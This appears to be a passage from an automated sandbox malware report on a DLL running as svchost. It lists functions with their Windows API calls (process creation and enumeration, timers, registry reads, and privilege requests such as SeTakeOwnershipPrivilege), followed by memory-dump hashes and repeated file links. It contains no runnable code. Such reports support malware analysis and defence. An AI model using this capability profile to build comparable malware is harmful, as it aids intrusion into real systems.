Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: CloseProcess32$ChangeCreateFindFirstHandleNextNotificationSnapshotToolhelp32
String ID:
API String ID: 1974561565-0
Opcode ID: 26da47ec462705160afd3fc786797e186e702edccb76fae8d405692c3d1f5403
Instruction ID: 68b8c94f4503abc60fe97a7eeaad9925507afb45fc578f22f18347031134c68d
Opcode Fuzzy Hash: 26da47ec462705160afd3fc786797e186e702edccb76fae8d405692c3d1f5403
Instruction Fuzzy Hash: F2E14BB1A81252ABFB00CF98DCC1B99B7E1EF59324F290474E506AF340D779B960DB52

Function 10015AE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32 ref: 10015AF2
CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,?,00000000), ref: 10015B71
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 10015B8A
CloseHandle.KERNEL32(00000000), ref: 10015B9B
CloseHandle.KERNEL32(?), ref: 10015BA2

Strings

D, xrefs: 10015AEA

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateInfoObjectProcessSingleStartupWait
String ID: D
API String ID: 2246201701-2746444292
Opcode ID: 3ff4933b0c475e5577b96b1aac3e0f4ffee1c82303357e0fface51a41dce38a8
Instruction ID: e4c957ebe911174e9a6128f61ed59e08ffec5c4111c5a51755eddd0069f5859e
Opcode Fuzzy Hash: 3ff4933b0c475e5577b96b1aac3e0f4ffee1c82303357e0fface51a41dce38a8
Instruction Fuzzy Hash: 1421187111C341DAD224DB19C8D895BBBF9EFC5742F24891DF6948B220E7B6C889CB53

Function 10009908 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 138
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 10009A11
SetWaitableTimer.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000), ref: 10009A57
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,FFFFFFFF,000000FF), ref: 10009A98
CloseHandle.KERNEL32(00000000), ref: 10009AE5

Strings

`, xrefs: 100099AF

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: TimerWaitable$CloseCreateHandleMultipleObjectsWait
String ID: `
API String ID: 1829838203-1850852036
Opcode ID: 0da65691792a8b8b4fc3661e6f38f21caa72bef4e540fccb8cd025717c4c6d8f
Instruction ID: 5c2fd585452587358da3112e64a3808a3eb27e1b43185953191c3033c69e53c3
Opcode Fuzzy Hash: 0da65691792a8b8b4fc3661e6f38f21caa72bef4e540fccb8cd025717c4c6d8f
Instruction Fuzzy Hash: 29516CB0E40309EBEB10CF94DD46B9EBBB0EB05351F108069F9047A1C4D7B69A64CF92

Function 10015530 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 25
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(10015C16,?,10034373,1000AED0,00000001,?,00000000,80000301), ref: 10015539
RtlAllocateHeap.NTDLL(00A60000,00000008,?,?,10015C16,?,10034373,1000AED0,00000001,?,00000000,80000301), ref: 1001554D
MessageBoxA.USER32(00000000,1179B154,error,00000010), ref: 10015566

Strings

error, xrefs: 1001555B

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$AllocateMessageProcess
String ID: error
API String ID: 2992861138-1574812785
Opcode ID: 9a6fbd080d087cab8c78e7df8d620bcd158e296d9e8f6a2b4017d2d332edf8f6
Instruction ID: a75c5747ce54d800d1a2e8625122aceae11049bd4907b2667b0b136d27b8eaca
Opcode Fuzzy Hash: 9a6fbd080d087cab8c78e7df8d620bcd158e296d9e8f6a2b4017d2d332edf8f6
Instruction Fuzzy Hash: 5FE0D8B5A806B5BBF310D7659C9EE563B98DF0876AF010424F500DF300EA70EC858791

Function 1000DB47 Relevance: 6.1, APIs: 4, Instructions: 119
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 1000DBBC
K32EnumProcesses.KERNEL32(00000000,00000000,00000000), ref: 1000DBF2
LocalFree.KERNEL32(00000000,00000000,00000000,00000000,-00000004,00000000,?,00000000), ref: 1000DC78
LocalFree.KERNEL32(00000000), ref: 1000DCB9

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocEnumProcesses
String ID:
API String ID: 1437658136-0
Opcode ID: 60a3b847e6d17c4ac9a637505fa053463b4bba3e5d30d1079a4d955413b4d4ee
Instruction ID: 7522c5f3d520c6cb1aada9c61760bd2c1e4b6fdb5921fa53ede385e8dbb37d49
Opcode Fuzzy Hash: 60a3b847e6d17c4ac9a637505fa053463b4bba3e5d30d1079a4d955413b4d4ee
Instruction Fuzzy Hash: 09412CB0D40209EBFF00EFA0DD46BEDBBB0FB48345F204066E5057A194D7B65A64CBA6

Function 10015900 Relevance: 4.6, APIs: 3, Instructions: 92
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(00000000,00000000,?), ref: 1001597C
RegQueryValueExA.KERNELBASE(?,00000000,00000000,?,?,?,?,?,0000069C,10034373,?,00000000,80000004,00000000,00000000,00000000), ref: 100159AA
RegCloseKey.ADVAPI32(?,?,?,0000069C,10034373,?,00000000,80000004,00000000,00000000,00000000), ref: 100159C7

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 915e07fde52639ff32449dae479e12b6882e9908a7e9f49e49207d598b094d0d
Instruction ID: dcb5dd2cd61f35dbdfc0fbcdfe9e858121c6ec411bada79f8e3c9c6c6c65a1e6
Opcode Fuzzy Hash: 915e07fde52639ff32449dae479e12b6882e9908a7e9f49e49207d598b094d0d
Instruction Fuzzy Hash: 0821D0B1604351DFD200DE65DC85A2BBBE8EBC47A0F14091DF986CB241E671DD85C7A2

Function 10015640 Relevance: 3.0, APIs: 2, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsBadReadPtr.KERNEL32(?,00000008,00000000,10017FD2,00000000,00000000), ref: 1001566E
RtlFreeHeap.NTDLL(00A60000,00000000,?), ref: 10015680

Part of subcall function 10015420: GetModuleHandleA.KERNEL32(10000000,1001565B,00000000,10017FD2,00000000,00000000), ref: 1001542A

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: FreeHandleHeapModuleRead
String ID:
API String ID: 627478288-0
Opcode ID: 0eb0f29cb4468d56ee526c9a95c2ec8b2a10944d3901460b832e5bd5808e7de2
Instruction ID: b06ede3a77c2eb65b255e49fb9973e4b8dea075adb9f50e8d3e98373f8f68ebd
Opcode Fuzzy Hash: 0eb0f29cb4468d56ee526c9a95c2ec8b2a10944d3901460b832e5bd5808e7de2
Instruction Fuzzy Hash: 4AE09231E00276DBFB10EA249884A8637D8EB093EAB4A4425F4449F250D771ECC68BD1

Function 10001252 Relevance: 1.5, APIs: 1, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetServiceStatus.SECHOST ref: 10001287

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: ServiceStatus
String ID:
API String ID: 3969395364-0
Opcode ID: 6137f14b43919583b9a3643b2fdb6ba08e61b18bbb772798b0fb64bb518882bc
Instruction ID: 860be1dde238849e98675bf6ff0820073d104c71162c2c4b9462ea1eb5cb00ad
Opcode Fuzzy Hash: 6137f14b43919583b9a3643b2fdb6ba08e61b18bbb772798b0fb64bb518882bc
Instruction Fuzzy Hash: 41F03A70D01308EFEF01DFA0D8C6B8CBBB0EB0D765F1050A5E9086B341D2725AA4DB95

Function 10015A00 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathFileExistsA.KERNELBASE(00000000,10001633,00000001,00000000,00000000,80000004), ref: 10015A05

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID:
API String ID: 1174141254-0
Opcode ID: 9abfc55a243ecf66daf685075a2a356fef2249ccca3632803b0b3ada90dc3da1
Instruction ID: 296a51ae6757505694c903583cab311fe2a89e8b885e03126478fd7697323111
Opcode Fuzzy Hash: 9abfc55a243ecf66daf685075a2a356fef2249ccca3632803b0b3ada90dc3da1
Instruction Fuzzy Hash: 4BA00275944255BBDE10DBB4C98D84A7BACBB84342B204C44F155C3020C634D941CF15

Non-executed Functions

Function 1000BCC3 Relevance: 16.6, APIs: 5, Strings: 4, Instructions: 848COMMON

Download Yara Rule

APIs

OpenProcessToken.ADVAPI32(?,000F01FF,?), ref: 1000BEB2
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 1000BF4D
InitializeSecurityDescriptor.ADVAPI32(00000000), ref: 1000C04B

Strings

SeRestorePrivilege, xrefs: 1000BDE7, 1000C513
SeSecurityPrivilege, xrefs: 1000BE29, 1000C555
SeTakeOwnershipPrivilege, xrefs: 1000BE4A, 1000C576
SeBackupPrivilege, xrefs: 1000BE08, 1000C534

Memory Dump Source

Source File: 0000001B.00000002.4100350600.0000000010001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 10000000, based on PE: true

Associated: 0000001B.00000002.4100181797.0000000010000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100518410.000000001002E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010034000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010A34000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010D0E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116D3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.00000000116F8000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011716000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001173C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.0000000011747000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4100759161.000000001176C000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117022805.000000001179A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117101516.000000001179E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117208502.00000000117B4000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117344512.00000000117B6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000001B.00000002.4117479152.00000000117B8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_10000000_svchost.jbxd

Yara matches

Similarity

